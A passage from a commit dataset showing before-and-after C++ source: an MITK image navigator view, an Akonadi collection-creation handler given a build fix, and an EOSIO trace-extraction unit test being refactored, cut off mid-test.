QmitkStdMultiWidgetEditor::EDITOR_ID, false);\n activeStdMultiWidget = editor.Cast<QmitkStdMultiWidgetEditor>()->GetStdMultiWidget();\n }\n\n return activeStdMultiWidget;\n}\n\nint QmitkImageNavigatorView::GetSizeFlags(bool width)\n{\n if(!width)\n {\n return berry::Constants::MIN | berry::Constants::MAX | berry::Constants::FILL;\n }\n else\n {\n return 0;\n }\n}\n\nint QmitkImageNavigatorView::ComputePreferredSize(bool width, int \/*availableParallel*\/, int \/*availablePerpendicular*\/, int preferredResult)\n{\n if(width==false)\n {\n return 160;\n }\n else\n {\n return preferredResult;\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n * Copyright (C) 2006 by Ingo Kloecker <kloecker@kde.org> *\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Library General Public License as *\n * published by the Free Software Foundation; either version 2 of the *\n * License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this program; if not, write to the *\n * Free Software Foundation, Inc., *\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. *\n ***************************************************************************\/\n#include \"create.h\"\n\n#include <QtCore\/QDebug>\n#include <QtCore\/QStringList>\n\n#include \"akonadi.h\"\n#include \"akonadiconnection.h\"\n#include \"storage\/datastore.h\"\n#include \"storage\/entity.h\"\n#include \"storage\/transaction.h\"\n#include \"handlerhelper.h\"\n#include \"storage\/selectquerybuilder.h\"\n\n#include \"response.h\"\n#include \"libs\/imapparser_p.h\"\n#include \"imapstreamparser.h\"\n\nusing namespace Akonadi;\n\nCreate::Create( Scope::SelectionScope scope ) :\n Handler(),\n m_scope( scope )\n{\n}\n\nbool Create::parseStream()\n{\n QString name = m_streamParser->readUtf8String();\n if ( name.isEmpty() ) {\n return failureResponse( \"Invalid collection name\" );\n }\n\n bool ok = false;\n Collection parent;\n\n if ( m_scope == Scope::Uid || m_scope == Scope::None ) {\n qint64 parentId = m_streamParser->readNumber( &ok );\n if ( !ok ) { \/\/ RFC 3501 compat\n QString parentPath;\n int index = name.lastIndexOf( QLatin1Char('\/') );\n if ( index > 0 ) {\n parentPath = name.left( index );\n name = name.mid( index + 1 );\n parent = HandlerHelper::collectionFromIdOrName( parentPath.toUtf8() );\n } else {\n parentId = 0;\n }\n } else {\n if ( parentId > 0 ) {\n parent = Collection::retrieveById( parentId );\n }\n }\n\n if ( parentId != 0 && !parent.isValid() ) {\n return failureResponse( \"Parent collection not found\" );\n }\n } else if ( m_scope == Scope::Rid ) {\n const QString rid = m_streamParser->readUtf8String();\n if ( rid.isEmpty() ) {\n throw HandlerException( \"Empty parent remote identifier\" );\n }\n if ( !connection()->resourceContext().isValid() ) {\n throw HandlerException( \"Invalid resource context\" );\n }\n SelectQueryBuilder<Collection> qb;\n qb.addValueCondition( Collection::remoteIdColumn(), Query::Equals, rid );\n qb.addValueCondition( Collection::resourceIdColumn(), Query::Equals, connection()->resourceContext().id() );\n if ( !qb.exec() ) {\n throw HandlerException( \"Unable to execute collection query\" );\n }\n const Collection::List cols = qb.result();\n if ( cols.size() == 0 ) {\n throw HandlerException( \"Parent collection not found\" );\n } else if ( cols.size() > 1 ) {\n throw HandlerException( \"Parent collection is not unique\" );\n }\n parent = cols.first();\n }\n\n qint64 resourceId = 0;\n bool forceVirtual = false;\n MimeType::List parentContentTypes;\n if ( parent.isValid() ) {\n \/\/ check if parent can contain a sub-folder\n parentContentTypes = parent.mimeTypes();\n bool found = false, foundVirtual = false;\n Q_FOREACH ( const MimeType &mt, parentContentTypes ) {\n if ( mt.name() == QLatin1String( \"inode\/directory\" ) ) {\n found = true;\n if ( foundVirtual ) {\n break;\n }\n } else if ( mt.name() == QLatin1String( \"application\/x-vnd.akonadi.collection.virtual\" ) ) {\n foundVirtual = true;\n if ( found ) {\n break;\n }\n }\n }\n if ( !found && !foundVirtual ) {\n return failureResponse( \"Parent collection can not contain sub-collections\" );\n }\n\n \/\/ If only virtual collections are supported, force every new collection to\n \/\/ be virtual. Otherwise depend on VIRTUAL attribute in the command\n if ( foundVirtual && !found ) {\n forceVirtual = true;\n }\n\n \/\/ inherit resource\n resourceId = parent.resourceId();\n } else {\n \/\/ deduce owning resource from current session id\n QString sessionId = QString::fromUtf8( connection()->sessionId() );\n Resource res = Resource::retrieveByName( sessionId );\n if ( !res.isValid() ) {\n return failureResponse( \"Cannot create top-level collection\" );\n }\n resourceId = res.id();\n }\n\n Collection collection;\n if ( parent.isValid() ) {\n collection.setParentId( parent.id() );\n }\n collection.setName( name );\n collection.setResourceId( resourceId );\n\n \/\/ attributes\n QList<QByteArray> attributes;\n QList<QByteArray> mimeTypes;\n QVector< QPair<QByteArray, QByteArray> > userDefAttrs;\n bool mimeTypesSet = false;\n attributes = m_streamParser->readParenthesizedList();\n for ( int i = 0; i < attributes.count() - 1; i += 2 ) {\n const QByteArray key = attributes.at( i );\n const QByteArray value = attributes.at( i + 1 );\n if ( key == AKONADI_PARAM_REMOTEID ) {\n collection.setRemoteId( QString::fromUtf8( value ) );\n } else if ( key == AKONADI_PARAM_REMOTEREVISION ) {\n collection.setRemoteRevision( QString::fromUtf8( value ) );\n } else if ( key == AKONADI_PARAM_MIMETYPE ) {\n ImapParser::parseParenthesizedList( value, mimeTypes );\n mimeTypesSet = true;\n } else if ( key == AKONADI_PARAM_CACHEPOLICY ) {\n HandlerHelper::parseCachePolicy( value, collection );\n } else if ( key == AKONADI_PARAM_VIRTUAL ) {\n collection.setIsVirtual( value.toUInt() != 0 );\n } else {\n userDefAttrs << qMakePair( key, value );\n }\n }\n\n if ( forceVirtual ) {\n collection.setIsVirtual( true );\n }\n\n DataStore *db = connection()->storageBackend();\n Transaction transaction( db );\n\n if ( !db->appendCollection( collection ) ) {\n return failureResponse( \"Could not create collection \" + name.toLocal8Bit() + \" resourceId: \" + QByteArray::number(resourceId));\n }\n\n QStringList effectiveMimeTypes;\n if ( mimeTypesSet ) {\n Q_FOREACH ( const QByteArray &b, mimeTypes )\n effectiveMimeTypes << QString::fromUtf8( b );\n } else {\n Q_FOREACH ( const MimeType &mt, parentContentTypes )\n effectiveMimeTypes << mt.name();\n }\n if ( !db->appendMimeTypeForCollection( collection.id(), effectiveMimeTypes ) ) {\n return failureResponse( \"Unable to append mimetype for collection \" + name.toLocal8Bit() + \" resourceId: \" + QByteArray::number(resourceId) );\n }\n\n \/\/ store user defined attributes\n typedef QPair<QByteArray,QByteArray> QByteArrayPair;\n Q_FOREACH ( const QByteArrayPair &attr, userDefAttrs ) {\n if ( !db->addCollectionAttribute( collection, attr.first, attr.second ) ) {\n return failureResponse( \"Unable to add collection attribute.\" );\n }\n }\n\n Response response;\n response.setUntagged();\n\n \/\/ write out collection details\n db->activeCachePolicy( collection );\n const QByteArray b = HandlerHelper::collectionToByteArray( collection );\n response.setString( b );\n Q_EMIT responseAvailable( response );\n\n if ( !transaction.commit() ) {\n return failureResponse( \"Unable to commit transaction.\" );\n }\n\n return successResponse( \"CREATE completed\" );\n}\n<commit_msg>Fix build<commit_after>\/***************************************************************************\n * Copyright (C) 2006 by Ingo Kloecker <kloecker@kde.org> *\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Library General Public License as *\n * published by the Free Software Foundation; either version 2 of the *\n * License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this program; if not, write to the *\n * Free Software Foundation, Inc., *\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. *\n ***************************************************************************\/\n#include \"create.h\"\n\n#include <QtCore\/QDebug>\n#include <QtCore\/QStringList>\n\n#include \"akonadi.h\"\n#include \"akonadiconnection.h\"\n#include \"storage\/datastore.h\"\n#include \"storage\/entity.h\"\n#include \"storage\/transaction.h\"\n#include \"handlerhelper.h\"\n#include \"storage\/selectquerybuilder.h\"\n#include \"libs\/protocol_p.h\"\n\n#include \"response.h\"\n#include \"libs\/imapparser_p.h\"\n#include \"imapstreamparser.h\"\n\nusing namespace Akonadi;\n\nCreate::Create( Scope::SelectionScope scope ) :\n Handler(),\n m_scope( scope )\n{\n}\n\nbool Create::parseStream()\n{\n QString name = m_streamParser->readUtf8String();\n if ( name.isEmpty() ) {\n return failureResponse( \"Invalid collection name\" );\n }\n\n bool ok = false;\n Collection parent;\n\n if ( m_scope == Scope::Uid || m_scope == Scope::None ) {\n qint64 parentId = m_streamParser->readNumber( &ok );\n if ( !ok ) { \/\/ RFC 3501 compat\n QString parentPath;\n int index = name.lastIndexOf( QLatin1Char('\/') );\n if ( index > 0 ) {\n parentPath = name.left( index );\n name = name.mid( index + 1 );\n parent = HandlerHelper::collectionFromIdOrName( parentPath.toUtf8() );\n } else {\n parentId = 0;\n }\n } else {\n if ( parentId > 0 ) {\n parent = Collection::retrieveById( parentId );\n }\n }\n\n if ( parentId != 0 && !parent.isValid() ) {\n return failureResponse( \"Parent collection not found\" );\n }\n } else if ( m_scope == Scope::Rid ) {\n const QString rid = m_streamParser->readUtf8String();\n if ( rid.isEmpty() ) {\n throw HandlerException( \"Empty parent remote identifier\" );\n }\n if ( !connection()->resourceContext().isValid() ) {\n throw HandlerException( \"Invalid resource context\" );\n }\n SelectQueryBuilder<Collection> qb;\n qb.addValueCondition( Collection::remoteIdColumn(), Query::Equals, rid );\n qb.addValueCondition( Collection::resourceIdColumn(), Query::Equals, connection()->resourceContext().id() );\n if ( !qb.exec() ) {\n throw HandlerException( \"Unable to execute collection query\" );\n }\n const Collection::List cols = qb.result();\n if ( cols.size() == 0 ) {\n throw HandlerException( \"Parent collection not found\" );\n } else if ( cols.size() > 1 ) {\n throw HandlerException( \"Parent collection is not unique\" );\n }\n parent = cols.first();\n }\n\n qint64 resourceId = 0;\n bool forceVirtual = false;\n MimeType::List parentContentTypes;\n if ( parent.isValid() ) {\n \/\/ check if parent can contain a sub-folder\n parentContentTypes = parent.mimeTypes();\n bool found = false, foundVirtual = false;\n Q_FOREACH ( const MimeType &mt, parentContentTypes ) {\n if ( mt.name() == QLatin1String( \"inode\/directory\" ) ) {\n found = true;\n if ( foundVirtual ) {\n break;\n }\n } else if ( mt.name() == QLatin1String( \"application\/x-vnd.akonadi.collection.virtual\" ) ) {\n foundVirtual = true;\n if ( found ) {\n break;\n }\n }\n }\n if ( !found && !foundVirtual ) {\n return failureResponse( \"Parent collection can not contain sub-collections\" );\n }\n\n \/\/ If only virtual collections are supported, force every new collection to\n \/\/ be virtual. Otherwise depend on VIRTUAL attribute in the command\n if ( foundVirtual && !found ) {\n forceVirtual = true;\n }\n\n \/\/ inherit resource\n resourceId = parent.resourceId();\n } else {\n \/\/ deduce owning resource from current session id\n QString sessionId = QString::fromUtf8( connection()->sessionId() );\n Resource res = Resource::retrieveByName( sessionId );\n if ( !res.isValid() ) {\n return failureResponse( \"Cannot create top-level collection\" );\n }\n resourceId = res.id();\n }\n\n Collection collection;\n if ( parent.isValid() ) {\n collection.setParentId( parent.id() );\n }\n collection.setName( name );\n collection.setResourceId( resourceId );\n\n \/\/ attributes\n QList<QByteArray> attributes;\n QList<QByteArray> mimeTypes;\n QVector< QPair<QByteArray, QByteArray> > userDefAttrs;\n bool mimeTypesSet = false;\n attributes = m_streamParser->readParenthesizedList();\n for ( int i = 0; i < attributes.count() - 1; i += 2 ) {\n const QByteArray key = attributes.at( i );\n const QByteArray value = attributes.at( i + 1 );\n if ( key == AKONADI_PARAM_REMOTEID ) {\n collection.setRemoteId( QString::fromUtf8( value ) );\n } else if ( key == AKONADI_PARAM_REMOTEREVISION ) {\n collection.setRemoteRevision( QString::fromUtf8( value ) );\n } else if ( key == AKONADI_PARAM_MIMETYPE ) {\n ImapParser::parseParenthesizedList( value, mimeTypes );\n mimeTypesSet = true;\n } else if ( key == AKONADI_PARAM_CACHEPOLICY ) {\n HandlerHelper::parseCachePolicy( value, collection );\n } else if ( key == AKONADI_PARAM_VIRTUAL ) {\n collection.setIsVirtual( value.toUInt() != 0 );\n } else {\n userDefAttrs << qMakePair( key, value );\n }\n }\n\n if ( forceVirtual ) {\n collection.setIsVirtual( true );\n }\n\n DataStore *db = connection()->storageBackend();\n Transaction transaction( db );\n\n if ( !db->appendCollection( collection ) ) {\n return failureResponse( \"Could not create collection \" + name.toLocal8Bit() + \" resourceId: \" + QByteArray::number(resourceId));\n }\n\n QStringList effectiveMimeTypes;\n if ( mimeTypesSet ) {\n Q_FOREACH ( const QByteArray &b, mimeTypes )\n effectiveMimeTypes << QString::fromUtf8( b );\n } else {\n Q_FOREACH ( const MimeType &mt, parentContentTypes )\n effectiveMimeTypes << mt.name();\n }\n if ( !db->appendMimeTypeForCollection( collection.id(), effectiveMimeTypes ) ) {\n return failureResponse( \"Unable to append mimetype for collection \" + name.toLocal8Bit() + \" resourceId: \" + QByteArray::number(resourceId) );\n }\n\n \/\/ store user defined attributes\n typedef QPair<QByteArray,QByteArray> QByteArrayPair;\n Q_FOREACH ( const QByteArrayPair &attr, userDefAttrs ) {\n if ( !db->addCollectionAttribute( collection, attr.first, attr.second ) ) {\n return failureResponse( \"Unable to add collection attribute.\" );\n }\n }\n\n Response response;\n response.setUntagged();\n\n \/\/ write out collection details\n db->activeCachePolicy( collection );\n const QByteArray b = HandlerHelper::collectionToByteArray( collection );\n response.setString( b );\n Q_EMIT responseAvailable( response );\n\n if ( !transaction.commit() ) {\n return failureResponse( \"Unable to commit transaction.\" );\n }\n\n return successResponse( \"CREATE completed\" );\n}\n<|endoftext|>"} {"text":"<commit_before>#define BOOST_TEST_MODULE trace_data_extraction\n#include <boost\/test\/included\/unit_test.hpp>\n\n#include <eosio\/chain\/trace.hpp>\n#include <eosio\/chain\/transaction.hpp>\n#include <eosio\/chain\/block.hpp>\n#include <eosio\/chain\/block_state.hpp>\n\n#include <eosio\/trace_api_plugin\/test_common.hpp>\n#include <eosio\/trace_api_plugin\/chain_extraction.hpp>\n\nusing namespace eosio;\nusing namespace eosio::trace_api_plugin;\nusing namespace eosio::trace_api_plugin::test_common;\nusing eosio::chain::name;\nusing eosio::chain::digest_type;\n\nnamespace {\n chain::transaction_trace_ptr make_transaction_trace( chain::transaction_id_type&& id, uint32_t block_number, uint32_t slot, chain::transaction_receipt_header::status_enum status, std::vector<chain::action_trace> && actions ) {\n return std::make_shared<chain::transaction_trace>(chain::transaction_trace{\n std::move(id),\n block_number,\n chain::block_timestamp_type(slot),\n {},\n chain::transaction_receipt_header{status},\n fc::microseconds(0),\n 0,\n false,\n std::move(actions),\n {},\n {},\n {},\n {},\n {}\n });\n }\n\n chain::action_trace make_action_trace(uint64_t global_sequence, chain::name receiver, chain::name account, chain::name action, std::vector<chain::permission_level>&& authorizations, chain::bytes&& data ) {\n chain::action_trace result;\n \/\/ don't think we need any information other than receiver and global sequence\n result.receipt.emplace(chain::action_receipt{\n receiver,\n \"0000000000000000000000000000000000000000000000000000000000000000\"_h,\n global_sequence,\n 0,\n {},\n 0,\n 0\n });\n result.receiver = receiver;\n result.act = chain::action( std::move(authorizations), account, action, std::move(data) );\n return result;\n }\n\n chain::bytes make_transfer_data( chain::name from, chain::name to, chain::asset quantity, std::string&& memo) {\n fc::datastream<size_t> ps;\n fc::raw::pack(ps, from, to, quantity, memo);\n chain::bytes result(ps.tellp());\n\n if( result.size() ) {\n fc::datastream<char*> ds( result.data(), size_t(result.size()) );\n fc::raw::pack(ds, from, to, quantity, memo);\n }\n return result;\n }\n\n auto get_private_key( name keyname, std::string role = \"owner\" ) {\n auto secret = fc::sha256::hash( keyname.to_string() + role );\n return chain::private_key_type::regenerate<fc::ecc::private_key_shim>( secret );\n }\n\n auto get_public_key( name keyname, std::string role = \"owner\" ) {\n return get_private_key( keyname, role ).get_public_key();\n }\n\n auto create_test_block_state( std::vector<chain::transaction_metadata_ptr> trx_metas ) {\n chain::signed_block_ptr block = std::make_shared<chain::signed_block>();\n for( auto& trx_meta : trx_metas ) {\n block->transactions.emplace_back( *trx_meta->packed_trx());\n }\n\n block->producer = eosio::chain::config::system_account_name;\n\n auto priv_key = get_private_key( block->producer, \"active\" );\n auto pub_key = get_public_key( block->producer, \"active\" );\n\n auto prev = std::make_shared<chain::block_state>();\n auto header_bmroot = digest_type::hash( std::make_pair( block->digest(), prev->blockroot_merkle.get_root()));\n auto sig_digest = digest_type::hash( std::make_pair( header_bmroot, prev->pending_schedule.schedule_hash ));\n block->producer_signature = priv_key.sign( sig_digest );\n\n std::vector<chain::private_key_type> signing_keys;\n signing_keys.emplace_back( std::move( priv_key ));\n\n auto signer = [&]( digest_type d ) {\n std::vector<chain::signature_type> result;\n result.reserve( signing_keys.size());\n for( const auto& k: signing_keys )\n result.emplace_back( k.sign( d ));\n return result;\n };\n chain::pending_block_header_state pbhs;\n pbhs.producer = block->producer;\n chain::producer_authority_schedule schedule = {0, {chain::producer_authority{block->producer,\n chain::block_signing_authority_v0{1, {{pub_key, 1}}}}}};\n pbhs.active_schedule = schedule;\n pbhs.valid_block_signing_authority = chain::block_signing_authority_v0{1, {{pub_key, 1}}};\n auto bsp = std::make_shared<chain::block_state>(\n std::move( pbhs ),\n std::move( block ),\n std::move( trx_metas ),\n chain::protocol_feature_set(),\n []( chain::block_timestamp_type timestamp,\n const fc::flat_set<digest_type>& cur_features,\n const std::vector<digest_type>& new_features ) {},\n signer\n );\n\n return bsp;\n }\n\n chain::block_state_ptr make_block_state( chain::block_id_type id, chain::block_id_type previous, uint32_t height,\n uint32_t slot, chain::name producer,\n std::vector<std::tuple<chain::transaction_id_type, chain::transaction_receipt_header::status_enum>> transactions ) {\n \/\/ TODO: it was going to be very complicated to produce a proper block_state_ptr, this can probably be changed\n \/\/ to some sort of intermediate form that a shim interface can extract from a block_state_ptr to make testing\n \/\/ and refactoring easier.\n return {};\n }\n}\n\nstruct extraction_test_fixture {\n \/**\n * MOCK implementation of the logfile input API\n *\/\n struct mock_logfile_provider_type {\n mock_logfile_provider_type(extraction_test_fixture& fixture)\n :fixture(fixture)\n {}\n\n \/**\n * append an entry to the end of the data log\n *\n * @param entry : the entry to append\n * @return the offset in the log where that entry is written\n *\/\n uint64_t append_data_log( const data_log_entry& entry ) {\n fixture.data_log.emplace_back(entry);\n return fixture.data_log.size() - 1;\n }\n\n \/**\n * Append an entry to the metadata log\n *\n * @param entry\n * @return\n *\/\n uint64_t append_metadata_log( const metadata_log_entry& entry ) {\n if (entry.contains<block_entry_v0>()) {\n const auto& b = entry.get<block_entry_v0>();\n fixture.block_entry_for_height[b.number] = b;\n } else if (entry.contains<lib_entry_v0>()) {\n const auto& lib = entry.get<lib_entry_v0>();\n fixture.max_lib = std::max(fixture.max_lib, lib.lib);\n } else {\n BOOST_FAIL(\"Unknown metadata log entry emitted\");\n }\n return fixture.metadata_offset++;\n }\n\n extraction_test_fixture& fixture;\n };\n\n \/**\n * TODO: initialize extraction implementation here with `mock_logfile_provider` as template param\n *\/\n extraction_test_fixture()\n : extraction_impl(mock_logfile_provider_type(*this), [](std::exception_ptr eptr) {})\n {\n }\n\n void signal_applied_transaction( const chain::transaction_trace_ptr& trace, const chain::signed_transaction& strx ) {\n extraction_impl.signal_applied_transaction(trace, strx);\n }\n\n void signal_accepted_block( const chain::block_state_ptr& bsp ) {\n extraction_impl.signal_accepted_block(bsp);\n }\n\n\n \/\/ fixture data and methods\n std::map<uint64_t, block_entry_v0> block_entry_for_height = {};\n uint64_t metadata_offset = 0;\n uint64_t max_lib = 0;\n std::vector<data_log_entry> data_log = {};\n\n chain_extraction_impl_type<mock_logfile_provider_type> extraction_impl;\n \n};\n\nBOOST_AUTO_TEST_SUITE(block_extraction)\n BOOST_FIXTURE_TEST_CASE(basic_single_transaction_block, extraction_test_fixture)\n {\n \/\/ apply a basic transfer\n \/\/\n signal_applied_transaction(\n make_transaction_trace(\n \"0000000000000000000000000000000000000000000000000000000000000001\"_h,\n 1,\n 1,\n chain::transaction_receipt_header::executed,\n {\n make_action_trace(0, \"eosio.token\"_n, \"eosio.token\"_n, \"transfer\"_n, {{ \"alice\"_n, \"active\"_n }}, make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" ) ),\n make_action_trace(1, \"alice\"_n, \"eosio.token\"_n, \"transfer\"_n, {{ \"alice\"_n, \"active\"_n }}, make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" ) ),\n make_action_trace(2, \"bob\"_n, \"eosio.token\"_n, \"transfer\"_n, {{ \"alice\"_n, \"active\"_n }}, make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" ) )\n }\n ),\n {\n \/\/ I don't think we will need any data from here?\n }\n );\n \n \/\/ accept the block with one transaction\n \/\/\n\n signal_accepted_block(\n make_block_state(\n \"b000000000000000000000000000000000000000000000000000000000000001\"_h,\n \"0000000000000000000000000000000000000000000000000000000000000000\"_h,\n 1,\n 1,\n \"bp.one\"_n,\n {\n { \"0000000000000000000000000000000000000000000000000000000000000001\"_h, chain::transaction_receipt_header::executed }\n }\n )\n );\n \n \/\/ Verify that the blockheight and LIB are correct\n \/\/\n const uint64_t expected_lib = 0;\n const block_entry_v0 expected_entry {\n \"b000000000000000000000000000000000000000000000000000000000000001\"_h,\n 1,\n 0\n };\n\n const block_trace_v0 expected_trace {\n \"b000000000000000000000000000000000000000000000000000000000000001\"_h,\n 1,\n \"0000000000000000000000000000000000000000000000000000000000000000\"_h,\n chain::block_timestamp_type(1),\n \"bp.one\"_n,\n {\n {\n \"0000000000000000000000000000000000000000000000000000000000000001\"_h,\n chain::transaction_receipt_header::executed,\n {\n {\n 0,\n \"eosio.token\"_n, \"eosio.token\"_n, \"transfer\"_n,\n {{ \"alice\"_n, \"active\"_n }},\n make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" )\n },\n {\n 1,\n \"alice\"_n, \"eosio.token\"_n, \"transfer\"_n,\n {{ \"alice\"_n, \"active\"_n }},\n make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" )\n },\n {\n 2,\n \"bob\"_n, \"eosio.token\"_n, \"transfer\"_n,\n {{ \"alice\"_n, \"active\"_n }},\n make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" )\n }\n }\n }\n }\n };\n BOOST_REQUIRE_EQUAL(max_lib, 0);\n BOOST_REQUIRE(block_entry_for_height.count(1) > 0);\n BOOST_REQUIRE_EQUAL(block_entry_for_height.at(1), expected_entry);\n BOOST_REQUIRE(data_log.size() >= expected_entry.offset);\n BOOST_REQUIRE(data_log.at(expected_entry.offset).contains<block_trace_v0>());\n BOOST_REQUIRE_EQUAL(data_log.at(expected_entry.offset).get<block_trace_v0>(), expected_trace);\n }\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>First test passing<commit_after>#define BOOST_TEST_MODULE trace_data_extraction\n#include <boost\/test\/included\/unit_test.hpp>\n\n#include <eosio\/chain\/trace.hpp>\n#include <eosio\/chain\/transaction.hpp>\n#include <eosio\/chain\/block.hpp>\n#include <eosio\/chain\/block_state.hpp>\n\n#include <eosio\/trace_api_plugin\/test_common.hpp>\n#include <eosio\/trace_api_plugin\/chain_extraction.hpp>\n\n#include <fc\/bitutil.hpp>\n\nusing namespace eosio;\nusing namespace eosio::trace_api_plugin;\nusing namespace eosio::trace_api_plugin::test_common;\nusing eosio::chain::name;\nusing eosio::chain::digest_type;\n\nnamespace {\n chain::transaction_trace_ptr make_transaction_trace( const chain::transaction_id_type& id, uint32_t block_number,\n uint32_t slot, chain::transaction_receipt_header::status_enum status, std::vector<chain::action_trace>&& actions ) {\n return std::make_shared<chain::transaction_trace>(chain::transaction_trace{\n id,\n block_number,\n chain::block_timestamp_type(slot),\n {},\n chain::transaction_receipt_header{status},\n fc::microseconds(0),\n 0,\n false,\n std::move(actions),\n {},\n {},\n {},\n {},\n {}\n });\n }\n\n chain::bytes make_transfer_data( chain::name from, chain::name to, chain::asset quantity, std::string&& memo ) {\n fc::datastream<size_t> ps;\n fc::raw::pack(ps, from, to, quantity, memo);\n chain::bytes result(ps.tellp());\n\n if( result.size() ) {\n fc::datastream<char*> ds( result.data(), size_t(result.size()) );\n fc::raw::pack(ds, from, to, quantity, memo);\n }\n return result;\n }\n\n auto get_private_key( name keyname, std::string role = \"owner\" ) {\n auto secret = fc::sha256::hash( keyname.to_string() + role );\n return chain::private_key_type::regenerate<fc::ecc::private_key_shim>( secret );\n }\n\n auto get_public_key( name keyname, std::string role = \"owner\" ) {\n return get_private_key( keyname, role ).get_public_key();\n }\n\n auto make_transfer_action( chain::name from, chain::name to, chain::asset quantity, std::string memo ) {\n return chain::action( std::vector<chain::permission_level> {{from, chain::config::active_name}},\n \"eosio.token\"_n, \"transfer\"_n, make_transfer_data( from, to, quantity, std::move(memo) ) );\n }\n\n auto make_packed_trx( std::vector<chain::action> actions ) {\n chain::signed_transaction trx;\n trx.actions = std::move( actions );\n return packed_transaction( trx );\n }\n\n chain::action_trace make_action_trace( uint64_t global_sequence, chain::action act, chain::name receiver ) {\n chain::action_trace result;\n \/\/ don't think we need any information other than receiver and global sequence\n result.receipt.emplace(chain::action_receipt{\n receiver,\n digest_type::hash(act),\n global_sequence,\n 0,\n {},\n 0,\n 0\n });\n result.receiver = receiver;\n result.act = std::move(act);\n return result;\n }\n\n auto make_block_state( chain::block_id_type previous, uint32_t height, uint32_t slot, chain::name producer,\n std::vector<chain::packed_transaction> trxs ) {\n chain::signed_block_ptr block = std::make_shared<chain::signed_block>();\n for( auto& trx : trxs ) {\n block->transactions.emplace_back( trx );\n }\n block->producer = producer;\n block->timestamp = chain::block_timestamp_type(slot);\n \/\/ make sure previous contains correct block # so block_header::block_num() returns correct value\n if( previous == chain::block_id_type() ) {\n previous._hash[0] &= 0xffffffff00000000;\n previous._hash[0] += fc::endian_reverse_u32(height - 1);\n }\n block->previous = previous;\n\n auto priv_key = get_private_key( block->producer, \"active\" );\n auto pub_key = get_public_key( block->producer, \"active\" );\n\n auto prev = std::make_shared<chain::block_state>();\n auto header_bmroot = digest_type::hash( std::make_pair( block->digest(), prev->blockroot_merkle.get_root()));\n auto sig_digest = digest_type::hash( std::make_pair( header_bmroot, prev->pending_schedule.schedule_hash ));\n block->producer_signature = priv_key.sign( sig_digest );\n\n std::vector<chain::private_key_type> signing_keys;\n signing_keys.emplace_back( std::move( priv_key ));\n auto signer = [&]( digest_type d ) {\n std::vector<chain::signature_type> result;\n result.reserve( signing_keys.size());\n for( const auto& k: signing_keys )\n result.emplace_back( k.sign( d ));\n return result;\n };\n chain::pending_block_header_state pbhs;\n pbhs.producer = block->producer;\n pbhs.timestamp = block->timestamp;\n chain::producer_authority_schedule schedule = {0, {chain::producer_authority{block->producer,\n chain::block_signing_authority_v0{1, {{pub_key, 1}}}}}};\n pbhs.active_schedule = schedule;\n pbhs.valid_block_signing_authority = chain::block_signing_authority_v0{1, {{pub_key, 1}}};\n auto bsp = std::make_shared<chain::block_state>(\n std::move( pbhs ),\n std::move( block ),\n std::vector<chain::transaction_metadata_ptr>(),\n chain::protocol_feature_set(),\n []( chain::block_timestamp_type timestamp,\n const fc::flat_set<digest_type>& cur_features,\n const std::vector<digest_type>& new_features ) {},\n signer\n );\n bsp->block_num = height;\n\n return bsp;\n }\n\n}\n\nstruct extraction_test_fixture {\n \/**\n * MOCK implementation of the logfile input API\n *\/\n struct mock_logfile_provider_type {\n mock_logfile_provider_type(extraction_test_fixture& fixture)\n :fixture(fixture)\n {}\n\n \/**\n * append an entry to the end of the data log\n *\n * @param entry : the entry to append\n * @return the offset in the log where that entry is written\n *\/\n uint64_t append_data_log( const data_log_entry& entry ) {\n fixture.data_log.emplace_back(entry);\n return fixture.data_log.size() - 1;\n }\n\n \/**\n * Append an entry to the metadata log\n *\n * @param entry\n * @return\n *\/\n uint64_t append_metadata_log( const metadata_log_entry& entry ) {\n if (entry.contains<block_entry_v0>()) {\n const auto& b = entry.get<block_entry_v0>();\n fixture.block_entry_for_height[b.number] = b;\n } else if (entry.contains<lib_entry_v0>()) {\n const auto& lib = entry.get<lib_entry_v0>();\n fixture.max_lib = std::max(fixture.max_lib, lib.lib);\n } else {\n BOOST_FAIL(\"Unknown metadata log entry emitted\");\n }\n return fixture.metadata_offset++;\n }\n\n extraction_test_fixture& fixture;\n };\n\n extraction_test_fixture()\n : extraction_impl(mock_logfile_provider_type(*this), [](std::exception_ptr eptr) {})\n {\n }\n\n void signal_applied_transaction( const chain::transaction_trace_ptr& trace, const chain::signed_transaction& strx ) {\n extraction_impl.signal_applied_transaction(trace, strx);\n }\n\n void signal_accepted_block( const chain::block_state_ptr& bsp ) {\n extraction_impl.signal_accepted_block(bsp);\n }\n\n \/\/ fixture data and methods\n std::map<uint64_t, block_entry_v0> block_entry_for_height = {};\n uint64_t metadata_offset = 0;\n uint64_t max_lib = 0;\n std::vector<data_log_entry> data_log = {};\n\n chain_extraction_impl_type<mock_logfile_provider_type> extraction_impl;\n};\n\n\nBOOST_AUTO_TEST_SUITE(block_extraction)\n BOOST_FIXTURE_TEST_CASE(basic_single_transaction_block, extraction_test_fixture)\n {\n auto act1 = make_transfer_action( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" 